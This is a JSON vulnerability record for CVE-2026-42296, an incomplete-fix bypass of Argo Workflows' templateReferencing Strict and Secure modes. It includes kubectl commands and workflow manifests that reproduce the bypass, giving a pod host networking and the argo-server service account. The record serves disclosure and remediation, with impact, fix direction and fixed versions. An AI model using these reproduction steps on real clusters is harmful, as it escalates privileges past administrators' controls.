{"id":"CVE-2026-42296","aliases":["BIT-argo-workflows-2026-42296","GHSA-3775-99mw-8rp4","GO-2026-5072"],"url":"https://o3.security/vulnerability/CVE-2026-42296","summary":"Argo Workflows has incomplete fix for CVE-2026-31892: hostNetwork, securityContext, serviceAccountName bypass templateReferencing Strict/Secure","details":"The fix for CVE-2026-31892 (commit 534f4ff) blocks `podSpecPatch` when `templateReferencing: Strict` is active, but doesn't restrict other WorkflowSpec fields that flow through the same merge path and get applied to pods. A user can set `hostNetwork: true`, override `serviceAccountName`, or change `securityContext` on their Workflow while referencing a hardened template -- these survive `JoinWorkflowSpec` and get applied at pod creation.\n\nThe check in `setExecWorkflow` gates on `HasPodSpecPatch()` only:\n\n```go\nif woc.controller.Config.WorkflowRestrictions.MustUseReference() && woc.wf.Spec.HasPodSpecPatch() {\n```\n\nEverything else passes through. `createWorkflowPod` reads `hostNetwork`, `securityContext`, `serviceAccountName`, `tolerations`, and `automountServiceAccountToken` from the merged spec and applies them directly to the pod.\n\n`JoinWorkflowSpec` constructs the merge target from the user's spec and applies the template as a patch -- user fields take priority. When the template doesn't explicitly set a field like `hostNetwork` (most won't -- `false` is the zero value and gets omitted), the user's `true` survives. For fields like `securityContext` and `serviceAccountName`, the template-level value takes precedence IF the template explicitly sets it. The bypass applies when the template relies on defaults.\n\nBoth `Strict` and `Secure` modes are affected. `Secure` stores the merged spec on first submission, so user overrides get baked into the stored spec and subsequent `MustNotChangeSpec` comparisons pass.\n\n## Steps to reproduce\n\nTested on v4.0.2 (the CVE-2026-31892 patched version) on kind v0.27.0 / K8s v1.35.0.\n\n```bash\n# enable strict mode\nkubectl patch configmap workflow-controller-configmap -n argo --type merge \\\n  -p '{\"data\":{\"workflowRestrictions\":\"templateReferencing: Strict\\n\"}}'\nkubectl rollout restart deployment workflow-controller -n argo\n```\n\nA template that lists network interfaces:\n\n```bash\ncat <<'EOF' | kubectl apply -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: WorkflowTemplate\nmetadata:\n  name: netcheck\nspec:\n  entrypoint: check\n  templates:\n  - name: check\n    container:\n      image: alpine:latest\n      command: [\"/bin/sh\", \"-c\"]\n      args: [\"ip addr show | grep -E '^[0-9]+:' | cut -d: -f2\"]\nEOF\n```\n\nSubmit a workflow with `hostNetwork: true`:\n\n```bash\ncat <<'EOF' | kubectl create -n argo -f -\napiVersion: argoproj.io/v1alpha1\nkind: Workflow\nmetadata:\n  generateName: bypass-\nspec:\n  workflowTemplateRef:\n    name: netcheck\n  hostNetwork: true\nEOF\n```\n\nPod gets host networking:\n\n```\n$ kubectl get pod -n argo -l workflows.argoproj.io/workflow=bypass-bmg9b -o jsonpath='{.items[0].spec.hostNetwork}'\ntrue\n```\n\nContainer without the override sees `eth0@if20`. With the override, the pod sees the host's full network namespace -- all veth interfaces for other containers on the node.\n\n`podSpecPatch` IS correctly blocked on the same cluster:\n\n```\n$ kubectl get workflow patched-check-jd272 -n argo -o jsonpath='{.status.message}'\npodSpecPatch is not permitted when using workflowTemplateRef with templateReferencing restriction\n```\n\n`serviceAccountName` override also works -- a workflow with `serviceAccountName: argo-server` creates a pod running under the `argo-server` SA instead of the namespace default:\n\n```\n$ kubectl get pod -n argo -l workflows.argoproj.io/workflow=bypass-sa-slmjs -o jsonpath='{.items[0].spec.serviceAccountName}'\nargo-server\n```\n\nTested in Secure mode as well -- same result. Pod created with `hostNetwork: true` before the workflow errors on an unrelated permission issue.\n\n## Impact\n\nA user with `create Workflow` permission can bypass `templateReferencing: Strict` to get host network access, switch service accounts, override pod security context, add tolerations to schedule on control-plane nodes, or enable SA token mounting. This defeats the stated purpose of the feature.\n\nThe practical impact depends on what Kubernetes-level controls are in place. Clusters with PodSecurity admission or OPA/Gatekeeper would independently block some of these (like `hostNetwork`). Clusters that rely on Argo's Strict mode as the primary enforcement layer are fully exposed.\n\n## Fix direction\n\nThe check in `setExecWorkflow` should cover all WorkflowSpec fields that influence pod security posture, not just `podSpecPatch`. The affected fields that I confirmed in `createWorkflowPod`: `hostNetwork`, `securityContext`, `serviceAccountName`, `automountServiceAccountToken`, `tolerations`, `dnsPolicy`, `schedulerName`, `hostAliases`, `volumes`.\n\nAn alternative approach: when `MustUseReference()` is true, strip all user-set WorkflowSpec fields except a known-safe allowlist (entrypoint, arguments, labels, annotations) before merging. This avoids a growing denylist as new fields get added.\n\n## Affected versions\n\nAll versions supporting `templateReferencing`, including v4.0.2 and v3.7.11 which patched CVE-2026-31892.","published":"2026-05-09T03:52:03.456Z","modified":"2026-08-12T03:51:43.410357797Z","cvss":{"score":8.1,"severity":"HIGH","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N"},"epss":{"score":0.00424,"percentile":0.35141,"asOf":"2026-08-24"},"cisaKev":null,"exploitsKnown":0,"affectedPackages":[{"ecosystem":"Go","name":"github.com/argoproj/argo-workflows/v3","fixedVersion":"3.7.14"},{"ecosystem":"Go","name":"github.com/argoproj/argo-workflows/v4","fixedVersion":"4.0.5"}],"fix":{"url":"https://github.com/argoproj/argo-workflows/commit/534f4ff1cbd86908e8ff76d97d553ad5a49a950d","label":"argoproj/argo-workflows@534f4ff"},"references":[{"type":"WEB","url":"https://github.com/argoproj/argo-workflows/releases/tag/v3.7.14"},{"type":"WEB","url":"https://github.com/argoproj/argo-workflows/releases/tag/v4.0.5"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-42296.json"},{"type":"ADVISORY","url":"https://access.redhat.com/security/cve/CVE-2026-42296"},{"type":"ADVISORY","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/42xxx/CVE-2026-42296.json"},{"type":"ADVISORY","url":"https://github.com/argoproj/argo-workflows/security/advisories/GHSA-3775-99mw-8rp4"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-42296"},{"type":"REPORT","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2468446"},{"type":"FIX","url":"https://github.com/argoproj/argo-workflows/commit/534f4ff1cbd86908e8ff76d97d553ad5a49a950d"},{"type":"WEB","url":"https://github.com/argoproj/argo-workflows/security/advisories/GHSA-3wf5-g532-rcrr"},{"type":"WEB","url":"https://github.com/argoproj/argo-workflows/commit/2727f3f701677d467dfb5e053c57237cbc752c3c"},{"type":"PACKAGE","url":"https://github.com/argoproj/argo-workflows"}],"provenance":{"sources":["OSV.dev","FIRST.org (EPSS)"],"lastVerified":"2026-08-12T03:51:43.410357797Z"}}